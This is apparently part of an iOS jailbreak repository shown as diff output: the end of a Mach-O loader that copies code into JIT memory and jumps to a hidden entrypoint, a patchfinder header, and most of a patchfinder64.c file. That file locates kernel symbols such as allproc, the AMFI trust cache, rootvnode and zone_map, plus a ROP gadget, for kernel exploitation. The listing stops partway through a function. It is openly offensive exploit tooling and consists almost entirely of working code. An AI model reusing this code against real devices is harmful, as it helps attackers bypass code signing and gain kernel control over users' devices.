uint8_t* tmpmap = _mmap(0, end - base, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
ASSERT(tmpmap);
FOR_SEGMENT_64
_memcpy(tmpmap + sc->vmaddr, (char*)header + sc->fileoff, sc->filesize);
}
ASSERT(write_base >= exec_end);
void* rw = _mmap(jitend, end - write_base, PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
ASSERT(rw == jitend);
uint8_t* finalmap = jitend - write_base + base;
uintptr_t reloc_slide = (uintptr_t)finalmap;
FOR_COMMAND
if (lc->cmd == LC_DYLD_INFO_ONLY || lc->cmd == LC_DYLD_INFO) {
rebase((void*)lc, tmpmap, segstart, linkedit_base, reloc_slide);
bindit((void*)lc, tmpmap, segstart, linkedit_base, _dlsym);
}
}
if (jitwrite && jitstart) {
performJITMemcpy(_dlsym, jitwrite, jitstart, finalmap, tmpmap, write_base - base);
} else {
_memcpy(finalmap, tmpmap, (write_base - base) - 1);
}
_memcpy(rw, tmpmap + write_base - base, end - write_base);
void (*entrypoint)();
FOR_SEGMENT_64
uint64_t* x = (void*)(finalmap + sc->vmaddr);
while ((char*)x != (char*)(finalmap + sc->vmaddr + sc->vmsize)) {
if (*x == MAGIC) {
entrypoint = (void*)*(x+1);
goto found_entrypoint;
}
x++;
}
}
found_entrypoint:
entrypoint();
}
int main()
{
return 0;
}
+2
View File
@@ -0,0 +1,2 @@
#define MAGIC 0xdeadbeefdeadbeefull
+20
View File
@@ -0,0 +1,20 @@
int InitPatchfinder(uint64_t base, const char *filename);
void TermPatchfinder(void);
// Fun part
uint64_t Find_allproc(void);
uint64_t Find_add_x0_x0_0x40_ret(void);
uint64_t Find_copyout(void);
uint64_t Find_bzero(void);
uint64_t Find_bcopy(void);
uint64_t Find_rootvnode(void);
uint64_t Find_trustcache(void);
uint64_t Find_trustcache10_3_2(void);
uint64_t Find_amficache(void);
uint64_t Find_OSBoolean_True(void);
uint64_t Find_OSBoolean_False(void);
uint64_t Find_zone_map_ref(void);
uint64_t Find_osunserializexml(void);
uint64_t Find_smalloc(void);
uint64_t Find_sbops(void);
uint64_t Find_bootargs(void);
+1258
View File
@@ -0,0 +1,1258 @@
//
// patchfinder64.c
// extra_recipe
//
// Created by xerub on 06/06/2017.
// Copyright © 2017 xerub. All rights reserved.
//
#import <assert.h>
#import <stdint.h>
#import <string.h>
#import "kernel_utils.h"
typedef unsigned long long addr_t;
#define IS64(image) (*(uint8_t *)(image) & 1)
#define MACHO(p) ((*(unsigned int *)(p) & ~1) == 0xfeedface)
/* generic stuff *************************************************************/
#define UCHAR_MAX 255
static unsigned char *
Boyermoore_horspool_memmem(const unsigned char* haystack, size_t hlen,
const unsigned char* needle, size_t nlen)
{
size_t last, scan = 0;
size_t bad_char_skip[UCHAR_MAX + 1]; /* Officially called:
* bad character shift */
/* Sanity checks on the parameters */
if (nlen <= 0 || !haystack || !needle)
return NULL;
/* ---- Preprocess ---- */
/* Initialize the table to default value */
/* When a character is encountered that does not occur
* in the needle, we can safely skip ahead for the whole
* length of the needle.
*/
for (scan = 0; scan <= UCHAR_MAX; scan = scan + 1)
bad_char_skip[scan] = nlen;
/* C arrays have the first byte at [0], therefore:
* [nlen - 1] is the last byte of the array. */
last = nlen - 1;
/* Then populate it with the analysis of the needle */
for (scan = 0; scan < last; scan = scan + 1)
bad_char_skip[needle[scan]] = last - scan;
/* ---- Do the matching ---- */
/* Search the haystack, while the needle can still be within it. */
while (hlen >= nlen)
{
/* scan from the end of the needle */
for (scan = last; haystack[scan] == needle[scan]; scan = scan - 1)
if (scan == 0) /* If the first byte matches, we've found it. */
return (void *)haystack;
/* otherwise, we need to skip some bytes and start again.
Note that here we are getting the skip value based on the last byte
of needle, no matter where we didn't match. So if needle is: "abcd"
then we are skipping based on 'd' and that value will be 4, and
for "abcdd" we again skip on 'd' but the value will be only 1.
The alternative of pretending that the mismatched character was
the last character is slower in the normal case (E.g. finding
"abcd" in "...azcd..." gives 4 by using 'd' but only
4-2==2 using 'z'. */
hlen -= bad_char_skip[haystack[last]];
haystack += bad_char_skip[haystack[last]];
}
return NULL;
}
/* disassembler **************************************************************/
static int HighestSetBit(int N, uint32_t imm)
{
int i;
for (i = N - 1; i >= 0; i--) {
if (imm & (1 << i)) {
return i;
}
}
return -1;
}
static uint64_t ZeroExtendOnes(unsigned M, unsigned N) // zero extend M ones to N width
{
(void)N;
return ((uint64_t)1 << M) - 1;
}
static uint64_t RORZeroExtendOnes(unsigned M, unsigned N, unsigned R)
{
uint64_t val = ZeroExtendOnes(M, N);
if (R == 0) {
return val;
}
return ((val >> R) & (((uint64_t)1 << (N - R)) - 1)) | ((val & (((uint64_t)1 << R) - 1)) << (N - R));
}
static uint64_t Replicate(uint64_t val, unsigned bits)
{
uint64_t ret = val;
unsigned shift;
for (shift = bits; shift < 64; shift += bits) { // XXX actually, it is either 32 or 64
ret |= (val << shift);
}
return ret;
}
static int DecodeBitMasks(unsigned immN, unsigned imms, unsigned immr, int immediate, uint64_t *newval)
{
unsigned levels, S, R, esize;
int len = HighestSetBit(7, (immN << 6) | (~imms & 0x3F));
if (len < 1) {
return -1;
}
levels = ZeroExtendOnes(len, 6);
if (immediate && (imms & levels) == levels) {
return -1;
}
S = imms & levels;
R = immr & levels;
esize = 1 << len;
*newval = Replicate(RORZeroExtendOnes(S + 1, esize, R), esize);
return 0;
}
static int DecodeMov(uint32_t opcode, uint64_t total, int first, uint64_t *newval)
{
unsigned o = (opcode >> 29) & 3;
unsigned k = (opcode >> 23) & 0x3F;
unsigned rn, rd;
uint64_t i;
if (k == 0x24 && o == 1) { // MOV (bitmask imm) <=> ORR (immediate)
unsigned s = (opcode >> 31) & 1;
unsigned N = (opcode >> 22) & 1;
if (s == 0 && N != 0) {
return -1;
}
rn = (opcode >> 5) & 0x1F;
if (rn == 31) {
unsigned imms = (opcode >> 10) & 0x3F;
unsigned immr = (opcode >> 16) & 0x3F;
return DecodeBitMasks(N, imms, immr, 1, newval);
}
} else if (k == 0x25) { // MOVN/MOVZ/MOVK
unsigned s = (opcode >> 31) & 1;
unsigned h = (opcode >> 21) & 3;
if (s == 0 && h > 1) {
return -1;
}
i = (opcode >> 5) & 0xFFFF;
h *= 16;
i <<= h;
if (o == 0) { // MOVN
*newval = ~i;
return 0;
} else if (o == 2) { // MOVZ
*newval = i;
return 0;
} else if (o == 3 && !first) { // MOVK
*newval = (total & ~((uint64_t)0xFFFF << h)) | i;
return 0;
}
} else if ((k | 1) == 0x23 && !first) { // ADD (immediate)
unsigned h = (opcode >> 22) & 3;
if (h > 1) {
return -1;
}
rd = opcode & 0x1F;
rn = (opcode >> 5) & 0x1F;
if (rd != rn) {
return -1;
}
i = (opcode >> 10) & 0xFFF;
h *= 12;
i <<= h;
if (o & 2) { // SUB
*newval = total - i;
return 0;
} else { // ADD
*newval = total + i;
return 0;
}
}
return -1;
}
/* patchfinder ***************************************************************/
static addr_t
Step64(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
{
addr_t end = start + length;
while (start < end) {
uint32_t x = *(uint32_t *)(buf + start);
if ((x & mask) == what) {
return start;
}
start += 4;
}
return 0;
}
// str8 = Step64_back(Kernel, ref, ref - bof, INSN_STR8);
static addr_t
Step64_back(const uint8_t *buf, addr_t start, size_t length, uint32_t what, uint32_t mask)
{
addr_t end = start - length;
while (start >= end) {
uint32_t x = *(uint32_t *)(buf + start);
if ((x & mask) == what) {
return start;
}
start -= 4;
}
return 0;
}
// Finds start of function
static addr_t
BOF64(const uint8_t *buf, addr_t start, addr_t where)
{
for (; where >= start; where -= 4) {
uint32_t op = *(uint32_t *)(buf + where);
if ((op & 0xFFC003FF) == 0x910003FD) {
unsigned delta = (op >> 10) & 0xFFF;
//printf("%x: ADD X29, SP, #0x%x\n", where, delta);
if ((delta & 0xF) == 0) {
addr_t prev = where - ((delta >> 4) + 1) * 4;
uint32_t au = *(uint32_t *)(buf + prev);
if ((au & 0xFFC003E0) == 0xA98003E0) {
//printf("%x: STP x, y, [SP,#-imm]!\n", prev);
return prev;
}
}
}
}
return 0;
}
static addr_t
xref64(const uint8_t *buf, addr_t start, addr_t end, addr_t what)
{
addr_t i;
uint64_t value[32];
memset(value, 0, sizeof(value));
end &= ~3;
for (i = start & ~3; i < end; i += 4) {
uint32_t op = *(uint32_t *)(buf + i);
unsigned reg = op & 0x1F;
if ((op & 0x9F000000) == 0x90000000) {
signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
//printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
/*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
unsigned rd = op & 0x1F;
unsigned rm = (op >> 16) & 0x1F;
//printf("%llx: MOV X%d, X%d\n", i, rd, rm);
value[rd] = value[rm];*/
} else if ((op & 0xFF000000) == 0x91000000) {
unsigned rn = (op >> 5) & 0x1F;
unsigned shift = (op >> 22) & 3;
unsigned imm = (op >> 10) & 0xFFF;
if (shift == 1) {
imm <<= 12;
} else {
//assert(shift == 0);
if (shift > 1) continue;
}
//printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
value[reg] = value[rn] + imm;
} else if ((op & 0xF9C00000) == 0xF9400000) {
unsigned rn = (op >> 5) & 0x1F;
unsigned imm = ((op >> 10) & 0xFFF) << 3;
//printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
if (!imm) continue; // XXX not counted as true xref
value[reg] = value[rn] + imm; // XXX address, not actual value
/*} else if ((op & 0xF9C00000) == 0xF9000000) {
unsigned rn = (op >> 5) & 0x1F;
unsigned imm = ((op >> 10) & 0xFFF) << 3;
//printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
if (!imm) continue; // XXX not counted as true xref
value[rn] = value[rn] + imm; // XXX address, not actual value*/
} else if ((op & 0x9F000000) == 0x10000000) {
signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
//printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
value[reg] = ((long long)adr >> 11) + i;
} else if ((op & 0xFF000000) == 0x58000000) {
unsigned adr = (op & 0xFFFFE0) >> 3;
//printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
value[reg] = adr + i; // XXX address, not actual value
}
if (value[reg] == what) {
return i;
}
}
return 0;
}
static addr_t
Calc64(const uint8_t *buf, addr_t start, addr_t end, int which)
{
addr_t i;
uint64_t value[32];
memset(value, 0, sizeof(value));
end &= ~3;
for (i = start & ~3; i < end; i += 4) {
uint32_t op = *(uint32_t *)(buf + i);
unsigned reg = op & 0x1F;
if ((op & 0x9F000000) == 0x90000000) {
signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
//printf("%llx: ADRP X%d, 0x%llx\n", i, reg, ((long long)adr << 1) + (i & ~0xFFF));
value[reg] = ((long long)adr << 1) + (i & ~0xFFF);
/*} else if ((op & 0xFFE0FFE0) == 0xAA0003E0) {
unsigned rd = op & 0x1F;
unsigned rm = (op >> 16) & 0x1F;
//printf("%llx: MOV X%d, X%d\n", i, rd, rm);
value[rd] = value[rm];*/
} else if ((op & 0xFF000000) == 0x91000000) {
unsigned rn = (op >> 5) & 0x1F;
unsigned shift = (op >> 22) & 3;
unsigned imm = (op >> 10) & 0xFFF;
if (shift == 1) {
imm <<= 12;
} else {
//assert(shift == 0);
if (shift > 1) continue;
}
//printf("%llx: ADD X%d, X%d, 0x%x\n", i, reg, rn, imm);
value[reg] = value[rn] + imm;
} else if ((op & 0xF9C00000) == 0xF9400000) {
unsigned rn = (op >> 5) & 0x1F;
unsigned imm = ((op >> 10) & 0xFFF) << 3;
//printf("%llx: LDR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
if (!imm) continue; // XXX not counted as true xref
value[reg] = value[rn] + imm; // XXX address, not actual value
} else if ((op & 0xF9C00000) == 0xF9000000) {
unsigned rn = (op >> 5) & 0x1F;
unsigned imm = ((op >> 10) & 0xFFF) << 3;
//printf("%llx: STR X%d, [X%d, 0x%x]\n", i, reg, rn, imm);
if (!imm) continue; // XXX not counted as true xref
value[rn] = value[rn] + imm; // XXX address, not actual value
} else if ((op & 0x9F000000) == 0x10000000) {
signed adr = ((op & 0x60000000) >> 18) | ((op & 0xFFFFE0) << 8);
//printf("%llx: ADR X%d, 0x%llx\n", i, reg, ((long long)adr >> 11) + i);
value[reg] = ((long long)adr >> 11) + i;
} else if ((op & 0xFF000000) == 0x58000000) {
unsigned adr = (op & 0xFFFFE0) >> 3;
//printf("%llx: LDR X%d, =0x%llx\n", i, reg, adr + i);
value[reg] = adr + i; // XXX address, not actual value
}
}
return value[which];
}
static addr_t
Calc64mov(const uint8_t *buf, addr_t start, addr_t end, int which)
{
addr_t i;
uint64_t value[32];
memset(value, 0, sizeof(value));
end &= ~3;
for (i = start & ~3; i < end; i += 4) {
uint32_t op = *(uint32_t *)(buf + i);
unsigned reg = op & 0x1F;
uint64_t newval;
int rv = DecodeMov(op, value[reg], 0, &newval);
if (rv == 0) {
if (((op >> 31) & 1) == 0) {
newval &= 0xFFFFFFFF;
}
value[reg] = newval;
}
}
return value[which];
}
static addr_t
Find_call64(const uint8_t *buf, addr_t start, size_t length)
{
return Step64(buf, start, length, 0x94000000, 0xFC000000);
}
static addr_t
Follow_call64(const uint8_t *buf, addr_t call)
{
long long w;
w = *(uint32_t *)(buf + call) & 0x3FFFFFF;
w <<= 64 - 26;
w >>= 64 - 26 - 2;
return call + w;
}
static addr_t
Follow_cbz(const uint8_t *buf, addr_t cbz)
{
return cbz + ((*(int *)(buf + cbz) & 0x3FFFFE0) << 10 >> 13);
}
/* kernel iOS10 **************************************************************/
#import <fcntl.h>
#import <stdio.h>
#import <stdlib.h>
#import <unistd.h>
#import <mach-o/loader.h>
//#define __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
#import <mach/mach.h>
size_t KernelRead(uint64_t where, void *p, size_t size);
#endif
static uint8_t *Kernel = NULL;
static size_t Kernel_size = 0;
static addr_t XNUCore_Base = 0;
static addr_t XNUCore_Size = 0;
static addr_t Prelink_Base = 0;
static addr_t Prelink_Size = 0;
static addr_t CString_base = 0;
static addr_t CString_size = 0;
static addr_t PString_base = 0;
static addr_t PString_size = 0;
static addr_t KernDumpBase = -1;
static addr_t Kernel_entry = 0;
static void *Kernel_mh = 0;
static addr_t Kernel_delta = 0;
int
InitPatchfinder(addr_t base, const char *filename)
{
size_t rv;
uint8_t buf[0x4000];
unsigned i, j;
const struct mach_header *hdr = (struct mach_header *)buf;
const uint8_t *q;
addr_t min = -1;
addr_t max = 0;
int is64 = 0;
#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
#define close(f)
rv = KernelRead(base, buf, sizeof(buf));
if (rv != sizeof(buf)) {
return -1;
}
#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
int fd = open(filename, O_RDONLY);
if (fd < 0) {
return -1;
}
rv = read(fd, buf, sizeof(buf));
if (rv != sizeof(buf)) {
close(fd);
return -1;
}
#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
if (!MACHO(buf)) {
close(fd);
return -1;
}
if (IS64(buf)) {
is64 = 4;
}
q = buf + sizeof(struct mach_header) + is64;
for (i = 0; i < hdr->ncmds; i++) {
const struct load_command *cmd = (struct load_command *)q;
if (cmd->cmd == LC_SEGMENT_64) {
const struct segment_command_64 *seg = (struct segment_command_64 *)q;
if (min > seg->vmaddr) {
min = seg->vmaddr;
}
if (max < seg->vmaddr + seg->vmsize) {
max = seg->vmaddr + seg->vmsize;
}
if (!strcmp(seg->segname, "__TEXT_EXEC")) {
XNUCore_Base = seg->vmaddr;
XNUCore_Size = seg->filesize;
}
if (!strcmp(seg->segname, "__PLK_TEXT_EXEC")) {
Prelink_Base = seg->vmaddr;
Prelink_Size = seg->filesize;
}
if (!strcmp(seg->segname, "__TEXT")) {
const struct section_64 *sec = (struct section_64 *)(seg + 1);
for (j = 0; j < seg->nsects; j++) {
if (!strcmp(sec[j].sectname, "__cstring")) {
CString_base = sec[j].addr;
CString_size = sec[j].size;
}
}
}
if (!strcmp(seg->segname, "__PRELINK_TEXT")) {
const struct section_64 *sec = (struct section_64 *)(seg + 1);
for (j = 0; j < seg->nsects; j++) {
if (!strcmp(sec[j].sectname, "__text")) {
PString_base = sec[j].addr;
PString_size = sec[j].size;
}
}
}
if (!strcmp(seg->segname, "__LINKEDIT")) {
Kernel_delta = seg->vmaddr - min - seg->fileoff;
}
}
if (cmd->cmd == LC_UNIXTHREAD) {
uint32_t *ptr = (uint32_t *)(cmd + 1);
uint32_t flavor = ptr[0];
struct {
uint64_t x[29]; /* General purpose registers x0-x28 */
uint64_t fp; /* Frame pointer x29 */
uint64_t lr; /* Link register x30 */
uint64_t sp; /* Stack pointer x31 */
uint64_t pc; /* Program counter */
uint32_t cpsr; /* Current program status register */
} *thread = (void *)(ptr + 2);
if (flavor == 6) {
Kernel_entry = thread->pc;
}
}
q = q + cmd->cmdsize;
}
KernDumpBase = min;
XNUCore_Base -= KernDumpBase;
Prelink_Base -= KernDumpBase;
CString_base -= KernDumpBase;
PString_base -= KernDumpBase;
Kernel_size = max - min;
#ifdef __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__
Kernel = malloc(Kernel_size);
if (!Kernel) {
return -1;
}
rv = KernelRead(KernDumpBase, Kernel, Kernel_size);
if (rv != Kernel_size) {
free(Kernel);
return -1;
}
Kernel_mh = Kernel + base - min;
(void)filename;
#undef close
#else /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
Kernel = calloc(1, Kernel_size);
if (!Kernel) {
close(fd);
return -1;
}
q = buf + sizeof(struct mach_header) + is64;
for (i = 0; i < hdr->ncmds; i++) {
const struct load_command *cmd = (struct load_command *)q;
if (cmd->cmd == LC_SEGMENT_64) {
const struct segment_command_64 *seg = (struct segment_command_64 *)q;
size_t sz = pread(fd, Kernel + seg->vmaddr - min, seg->filesize, seg->fileoff);
if (sz != seg->filesize) {
close(fd);
free(Kernel);
return -1;
}
if (!Kernel_mh) {
Kernel_mh = Kernel + seg->vmaddr - min;
}
printf("%s\n", seg->segname);
if (!strcmp(seg->segname, "__LINKEDIT")) {
Kernel_delta = seg->vmaddr - min - seg->fileoff;
}
}
q = q + cmd->cmdsize;
}
close(fd);
(void)base;
#endif /* __ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__ */
return 0;
}
void
TermPatchfinder(void)
{
free(Kernel);
}
/* these operate on VA ******************************************************/
#define INSN_RET 0xD65F03C0, 0xFFFFFFFF
#define INSN_CALL 0x94000000, 0xFC000000
#define INSN_B 0x14000000, 0xFC000000
#define INSN_CBZ 0x34000000, 0xFC000000
#define INSN_ADRP 0x90000000, 0x9F000000
#define INSN_STR8 0xF9000000 | 8, 0xFFC00000 | 0x1F
addr_t
Find_register_value(addr_t where, int reg)
{
addr_t val;
addr_t bof = 0;
where -= KernDumpBase;
if (where > XNUCore_Base) {
bof = BOF64(Kernel, XNUCore_Base, where);
if (!bof) {
bof = XNUCore_Base;
}
} else if (where > Prelink_Base) {
bof = BOF64(Kernel, Prelink_Base, where);
if (!bof) {
bof = Prelink_Base;
}
}
val = Calc64(Kernel, bof, where, reg);
if (!val) {
return 0;
}
return val + KernDumpBase;
}
addr_t
Find_reference(addr_t to, int n, int prelink)
{
addr_t ref, end;
addr_t base = XNUCore_Base;
addr_t size = XNUCore_Size;
if (prelink) {
base = Prelink_Base;
size = Prelink_Size;
}
if (n <= 0) {
n = 1;
}
end = base + size;
to -= KernDumpBase;
do {
ref = xref64(Kernel, base, end, to);
if (!ref) {
return 0;
}
base = ref + 4;
} while (--n > 0);
return ref + KernDumpBase;
}
addr_t
Find_strref(const char *string, int n, int prelink)
{
uint8_t *str;
addr_t base = CString_base;
addr_t size = CString_size;
if (prelink) {
base = PString_base;
size = PString_size;
}
str = Boyermoore_horspool_memmem(Kernel + base, size, (uint8_t *)string, strlen(string));
if (!str) {
return 0;
}
return Find_reference(str - Kernel + KernDumpBase, n, prelink);
}
/****** fun *******/
addr_t Find_add_x0_x0_0x40_ret(void) {
addr_t off;
uint32_t *k;
k = (uint32_t *)(Kernel + XNUCore_Base);
for (off = 0; off < XNUCore_Size - 4; off += 4, k++) {
if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
return off + XNUCore_Base + KernDumpBase;
}
}
k = (uint32_t *)(Kernel + Prelink_Base);
for (off = 0; off < Prelink_Size - 4; off += 4, k++) {
if (k[0] == 0x91010000 && k[1] == 0xD65F03C0) {
return off + Prelink_Base + KernDumpBase;
}
}
return 0;
}
uint64_t Find_allproc_10(void)
{
addr_t val, bof, str8;
addr_t ref = Find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
bof = BOF64(Kernel, XNUCore_Base, ref);
if (!bof) {
return 0;
}
str8 = Step64_back(Kernel, ref, ref - bof, INSN_STR8);
if (!str8) {
return 0;
}
val = Calc64(Kernel, bof, str8, 8);
if (!val) {
return 0;
}
return val + KernDumpBase;
}
uint64_t Find_allproc_11(void) {
// Find the first reference to the string
addr_t ref = Find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
uint64_t start = BOF64(Kernel, XNUCore_Base, ref);
if (!start) {
return 0;
}
// Find AND W8, W8, #0xFFFFDFFF - it's a pretty distinct instruction
addr_t weird_instruction = 0;
for (int i = 4; i < 4*0x100; i+=4) {
uint32_t op = *(uint32_t *)(Kernel + ref + i);
if (op == 0x12127908) {
weird_instruction = ref+i;
break;
}
}
if (!weird_instruction) {
return 0;
}
uint64_t val = Calc64(Kernel, start, weird_instruction - 8, 8);
if (!val) {
printf("Failed to calculate x8");
return 0;
}
return val + KernDumpBase;
}
uint64_t Find_allproc(void)
{
addr_t val = Find_allproc_10();
if (val) {
return val;
}
return Find_allproc_11();
}
uint64_t Find_copyout(void) {
// Find the first reference to the string
addr_t ref = Find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
uint64_t start = 0;
for (int i = 4; i < 0x100*4; i+=4) {
uint32_t op = *(uint32_t*)(Kernel+ref-i);
if (op == 0xd10143ff) { // SUB SP, SP, #0x50
start = ref-i;
break;
}
}
if (!start) {
return 0;
}
return start + KernDumpBase;
}
uint64_t Find_bzero(void) {
// Just find SYS #3, c7, c4, #1, X3, then get the start of that function
addr_t off;
uint32_t *k;
k = (uint32_t *)(Kernel + XNUCore_Base);
for (off = 0; off < XNUCore_Size - 4; off += 4, k++) {
if (k[0] == 0xd50b7423) {
off += XNUCore_Base;
break;
}
}
uint64_t start = BOF64(Kernel, XNUCore_Base, off);
if (!start) {
return 0;
}
return start + KernDumpBase;
}
addr_t Find_bcopy(void) {
// Jumps straight into memmove after switching x0 and x1 around
// Guess we just find the switch and that's it
addr_t off;
uint32_t *k;
k = (uint32_t *)(Kernel + XNUCore_Base);
for (off = 0; off < XNUCore_Size - 4; off += 4, k++) {
if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
return off + XNUCore_Base + KernDumpBase;
}
}
k = (uint32_t *)(Kernel + Prelink_Base);
for (off = 0; off < Prelink_Size - 4; off += 4, k++) {
if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
return off + Prelink_Base + KernDumpBase;
}
}
return 0;
}
uint64_t Find_rootvnode(void) {
// Find the first reference to the string
addr_t ref = Find_strref("/var/run/.vfs_rsrc_streams_%p%x", 1, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
uint64_t start = BOF64(Kernel, XNUCore_Base, ref);
if (!start) {
return 0;
}
// Find MOV X9, #0x2000000000 - it's a pretty distinct instruction
addr_t weird_instruction = 0;
for (int i = 4; i < 4*0x100; i+=4) {
uint32_t op = *(uint32_t *)(Kernel + ref - i);
if (op == 0xB25B03E9) {
weird_instruction = ref-i;
break;
}
}
if (!weird_instruction) {
return 0;
}
uint64_t val = Calc64(Kernel, start, weird_instruction, 8);
if (!val) {
return 0;
}
return val + KernDumpBase;
}
addr_t Find_vnode_lookup() {
addr_t call, bof;
addr_t ref = Find_strref("/private/var/mobile", 0, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
bof = BOF64(Kernel, XNUCore_Base, ref);
if (!bof) {
return 0;
}
call = Step64(Kernel, ref, ref - bof, INSN_CALL);
if (!call) {
return 0;
}
call += 4;
call = Step64(Kernel, call, call - bof, INSN_CALL);
if (!call) {
return 0;
}
call += 4;
call = Step64(Kernel, call, call - bof, INSN_CALL);
if (!call) {
return 0;
}
return Follow_call64(Kernel, call) + KernDumpBase;
}
addr_t
Find_trustcache10_3_2()
{
addr_t call, func, val;
addr_t ref = Find_strref("com.apple.MobileFileIntegrity", 1, 1);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
call = Step64(Kernel, ref, 32, INSN_CALL);
if (!call) {
return 0;
}
call = Step64(Kernel, call+4, 32, INSN_CALL);
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
val = Calc64(Kernel, func, func + 16, 8);
if (!val) {
return 0;
}
return val + KernDumpBase;
}
addr_t
Find_trustcache()
{
addr_t cbz, call, func, val;
addr_t ref = Find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
cbz = Step64(Kernel, ref, 32, INSN_CBZ);
if (!cbz) {
return 0;
}
call = Step64(Kernel, Follow_cbz(Kernel, cbz), 4, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
val = Calc64(Kernel, func, func + 16, 8);
if (!val) {
return 0;
}
return val + KernDumpBase;
}
/*
addr_t Find_trustcache(void) {
addr_t call, func;
addr_t ref = Find_strref("%s: only allowed process can check the trust cache", 1, 1);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
call = Step64_back(Kernel, ref, 44, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
call = Step64(Kernel, func, 32, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
call = Step64(Kernel, func, 32, INSN_CALL);
if (!call) {
return 0;
}
call = Step64(Kernel, call + 4, 32, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
call = Step64(Kernel, func, 48, INSN_CALL);
if (!call) {
return 0;
}
uint64_t val = Calc64(Kernel, call, call + 24, 21);
if (!val) {
// iOS 12
ref = Find_strref("\"loadable trust cache buffer too small (%ld) for entries claimed (%d)\"", 1, 0);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
val = Calc64(Kernel, ref-12*4, ref-12*4+12, 8);
if (!val) {
return 0;
}
return val + KernDumpBase;
}
return val + KernDumpBase;
}
*/
// people that worked in unc0ver. sparkey maybe?
addr_t Find_amficache() {
uint64_t cbz, call, func, val;
uint64_t ref = Find_strref("amfi_prevent_old_entitled_platform_binaries", 1, 1);
if (!ref) {
// iOS 11
ref = Find_strref("com.apple.MobileFileIntegrity", 0, 1);
if (!ref) {
return 0;
}
ref -= KernDumpBase;
call = Step64(Kernel, ref, 64, INSN_CALL);
if (!call) {
return 0;
}
call = Step64(Kernel, call + 4, 64, INSN_CALL);
goto okay;
}
ref -= KernDumpBase;
cbz = Step64(Kernel, ref, 32, INSN_CBZ);
if (!cbz) {
return 0;
}
call = Step64(Kernel, Follow_cbz(Kernel, cbz), 4, INSN_CALL);
okay:
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
val = Calc64(Kernel, func, func + 16, 8);
if (!val) {
ref = Find_strref("%s: only allowed process can check the trust cache", 1, 1); // Trying to find AppleMobileFileIntegrityUserClient::isCdhashInTrustCache
if (!ref) {
return 0;
}
ref -= KernDumpBase;
call = Step64_back(Kernel, ref, 11*4, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
call = Step64(Kernel, func, 8*4, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
call = Step64(Kernel, func, 8*4, INSN_CALL);
if (!call) {
return 0;
}
call = Step64(Kernel, call+4, 8*4, INSN_CALL);
if (!call) {
return 0;
}
func = Follow_call64(Kernel, call);
if (!func) {
return 0;
}
call = Step64(Kernel, func, 12*4, INSN_CALL);
if (!call) {
return 0;
}
val = Calc64(Kernel, call, call + 6*4, 21);
}
return val + KernDumpBase;
}
addr_t Find_zone_map_ref(void) {
// \"Nothing being freed to the zone_map. start = end = %p\\n\"
uint64_t val = KernDumpBase;
addr_t ref = Find_strref("\"Nothing being freed to the zone_map. start = end = %p\\n\"", 1, 0);
ref -= KernDumpBase;
// skip add & adrp for panic str
ref -= 8;
// adrp xX, #_zone_map@PAGE
ref = Step64_back(Kernel, ref, 30, INSN_ADRP);
uint32_t *insn = (uint32_t*)(Kernel+ref);
// get pc
val += ((uint8_t*)(insn) - Kernel) & ~0xfff;
uint8_t xm = *insn & 0x1f;
// don't ask, I wrote this at 5am
